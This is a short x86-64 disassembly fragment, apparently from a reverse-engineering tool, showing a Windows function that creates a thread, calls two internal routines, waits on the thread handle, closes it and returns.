lea r8, [0x140008d74]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.14000e704
call fcn.14000dc80
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x50
pop rbx
ret